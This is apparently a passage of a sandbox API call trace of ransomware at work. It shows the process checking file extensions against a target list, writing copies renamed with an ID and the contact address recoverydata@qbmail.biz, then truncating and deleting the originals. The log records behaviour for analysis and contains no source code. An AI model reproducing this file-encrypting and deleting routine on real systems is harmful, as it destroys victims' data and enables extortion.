[0079.880] CloseHandle (hObject=0x184) returned 1 [0084.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0084.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.978] lstrlenW (lpString=".doc") returned 4 [0084.978] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0084.978] lstrlenW (lpString=".docx") returned 5 [0084.978] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0084.978] lstrlenW (lpString=".pdf") returned 4 [0084.978] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0084.978] lstrlenW (lpString=".xls") returned 4 [0084.978] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0084.978] lstrlenW (lpString=".xlsx") returned 5 [0084.979] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0084.979] lstrlenW (lpString=".ppt") returned 4 [0084.979] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0084.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.979] lstrlenW (lpString=".zip") returned 4 [0084.979] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0084.979] lstrlenW (lpString=".rar") returned 4 [0084.979] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0084.979] lstrlenW (lpString=".bz2") returned 4 [0084.979] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0084.979] lstrlenW (lpString=".7z") returned 3 [0084.979] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0084.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.979] lstrlenW (lpString=".dbf") returned 4 [0084.979] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0084.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.979] lstrlenW (lpString=".1cd") returned 4 [0084.979] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0084.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.979] lstrlenW (lpString=".jpg") returned 4 [0084.979] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0084.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.980] lstrlenW (lpString=".doc") returned 4 [0084.980] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0084.980] lstrlenW (lpString=".docx") returned 5 [0084.980] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0084.980] lstrlenW (lpString=".pdf") returned 4 [0084.980] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0084.980] lstrlenW (lpString=".xls") returned 4 [0084.980] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0084.980] lstrlenW (lpString=".xlsx") returned 5 [0084.980] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0084.980] lstrlenW (lpString=".ppt") returned 4 [0084.980] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0084.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.980] lstrlenW (lpString=".zip") returned 4 [0084.980] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0084.980] lstrlenW (lpString=".rar") returned 4 [0084.980] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0084.980] lstrlenW (lpString=".bz2") returned 4 [0084.980] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0084.980] lstrlenW (lpString=".7z") returned 3 [0084.981] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0084.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.981] lstrlenW (lpString=".dbf") returned 4 [0084.981] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0084.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.981] lstrlenW (lpString=".1cd") returned 4 [0084.981] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0084.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0084.981] lstrlenW (lpString=".jpg") returned 4 [0084.981] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0084.981] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0084.981] lstrlenW (lpString="Proof.msi") returned 9 [0084.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.724] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=875520) returned 1 [0085.724] CloseHandle (hObject=0x184) returned 1 [0085.724] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0085.724] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.724] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0085.724] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0085.724] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0085.726] GetLastError () returned 0x0 [0085.726] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0085.949] WriteFile (in: hFile=0x1ac, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0086.285] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0086.285] WriteFile (in: hFile=0x1ac, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.285] SetEndOfFile (hFile=0x1ac) returned 1 [0086.286] CloseHandle (hObject=0x1ac) returned 1 [0086.296] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0086.296] SetEndOfFile (hFile=0x184) returned 1 [0086.306] CloseHandle (hObject=0x184) returned 1 [0086.306] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0086.307] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0086.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.307] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.307] lstrlenW (lpString=".doc") returned 4 [0086.307] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0086.307] lstrlenW (lpString=".docx") returned 5 [0086.307] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0086.307] lstrlenW (lpString=".pdf") returned 4 [0086.307] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0086.307] lstrlenW (lpString=".xls") returned 4 [0086.307] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0086.307] lstrlenW (lpString=".xlsx") returned 5 [0086.307] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0086.308] lstrlenW (lpString=".ppt") returned 4 [0086.308] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0086.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.308] lstrlenW (lpString=".zip") returned 4 [0086.308] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0086.308] lstrlenW (lpString=".rar") returned 4 [0086.308] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0086.308] lstrlenW (lpString=".bz2") returned 4 [0086.308] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0086.308] lstrlenW (lpString=".7z") returned 3 [0086.308] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0086.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.308] lstrlenW (lpString=".dbf") returned 4 [0086.308] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0086.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.308] lstrlenW (lpString=".1cd") returned 4 [0086.308] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0086.308] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.308] lstrlenW (lpString=".jpg") returned 4 [0086.308] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0086.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.309] lstrlenW (lpString=".doc") returned 4 [0086.309] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0086.309] lstrlenW (lpString=".docx") returned 5 [0086.309] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0086.309] lstrlenW (lpString=".pdf") returned 4 [0086.309] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0086.309] lstrlenW (lpString=".xls") returned 4 [0086.309] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0086.309] lstrlenW (lpString=".xlsx") returned 5 [0086.309] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0086.309] lstrlenW (lpString=".ppt") returned 4 [0086.309] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0086.309] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.309] lstrlenW (lpString=".zip") returned 4 [0086.309] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0086.309] lstrlenW (lpString=".rar") returned 4 [0086.309] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0086.309] lstrlenW (lpString=".bz2") returned 4 [0086.309] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0086.309] lstrlenW (lpString=".7z") returned 3 [0086.310] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0086.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.310] lstrlenW (lpString=".dbf") returned 4 [0086.310] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0086.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.310] lstrlenW (lpString=".1cd") returned 4 [0086.310] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0086.310] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0086.310] lstrlenW (lpString=".jpg") returned 4 [0086.310] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0086.310] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0086.310] lstrlenW (lpString="Proof.msi") returned 9 [0086.310] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0086.311] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=881152) returned 1 [0086.311] CloseHandle (hObject=0x184) returned 1 [0086.560] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0086.560] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0086.560] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0086.560] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0086.560] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0086.561] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0086.561] GetLastError () returned 0x0 [0086.561] ReadFile (in: hFile=0x194, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xd7200, lpOverlapped=0x0) returned 1 [0086.685] WriteFile (in: hFile=0x1b8, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0086.890] ReadFile (in: hFile=0x194, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0086.891] WriteFile (in: hFile=0x1b8, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0086.891] SetEndOfFile (hFile=0x1b8) returned 1 [0086.891] CloseHandle (hObject=0x1b8) returned 1 [0087.032] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0087.032] SetEndOfFile (hFile=0x194) returned 1 [0087.107] CloseHandle (hObject=0x194) returned 1 [0087.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0087.107] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0087.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.108] lstrlenW (lpString=".doc") returned 4 [0087.108] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0087.108] lstrlenW (lpString=".docx") returned 5 [0087.108] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0087.108] lstrlenW (lpString=".pdf") returned 4 [0087.108] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0087.108] lstrlenW (lpString=".xls") returned 4 [0087.108] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0087.108] lstrlenW (lpString=".xlsx") returned 5 [0087.108] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0087.108] lstrlenW (lpString=".ppt") returned 4 [0087.108] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0087.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.108] lstrlenW (lpString=".zip") returned 4 [0087.108] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0087.108] lstrlenW (lpString=".rar") returned 4 [0087.108] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0087.108] lstrlenW (lpString=".bz2") returned 4 [0087.108] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0087.108] lstrlenW (lpString=".7z") returned 3 [0087.108] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0087.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.108] lstrlenW (lpString=".dbf") returned 4 [0087.109] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0087.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.109] lstrlenW (lpString=".1cd") returned 4 [0087.109] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0087.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.109] lstrlenW (lpString=".jpg") returned 4 [0087.109] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0087.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.109] lstrlenW (lpString=".doc") returned 4 [0087.109] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0087.109] lstrlenW (lpString=".docx") returned 5 [0087.109] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0087.109] lstrlenW (lpString=".pdf") returned 4 [0087.109] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0087.109] lstrlenW (lpString=".xls") returned 4 [0087.109] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0087.109] lstrlenW (lpString=".xlsx") returned 5 [0087.109] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0087.109] lstrlenW (lpString=".ppt") returned 4 [0087.109] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0087.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.109] lstrlenW (lpString=".zip") returned 4 [0087.109] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0087.109] lstrlenW (lpString=".rar") returned 4 [0087.109] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0087.109] lstrlenW (lpString=".bz2") returned 4 [0087.110] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0087.110] lstrlenW (lpString=".7z") returned 3 [0087.110] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0087.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.110] lstrlenW (lpString=".dbf") returned 4 [0087.110] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0087.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.110] lstrlenW (lpString=".1cd") returned 4 [0087.110] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0087.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0087.110] lstrlenW (lpString=".jpg") returned 4 [0087.110] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0087.110] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0087.110] lstrlenW (lpString="Proof.msi") returned 9 [0087.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.758] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x32cff1c | out: lpFileSize=0x32cff1c*=885760) returned 1 [0088.758] CloseHandle (hObject=0x20c) returned 1 [0088.759] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0088.759] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0088.767] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0088.767] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0088.804] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32cfec8 | out: lpNewFilePointer=0x0) returned 1 [0088.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0088.805] GetLastError () returned 0x0 [0088.805] ReadFile (in: hFile=0x20c, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0xd8400, lpOverlapped=0x0) returned 1 [0088.834] WriteFile (in: hFile=0x1ac, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x32cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x32cfc9c*=0xd8410, lpOverlapped=0x0) returned 1 [0088.861] ReadFile (in: hFile=0x20c, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x32cfed4*=0x0, lpOverlapped=0x0) returned 1 [0088.861] 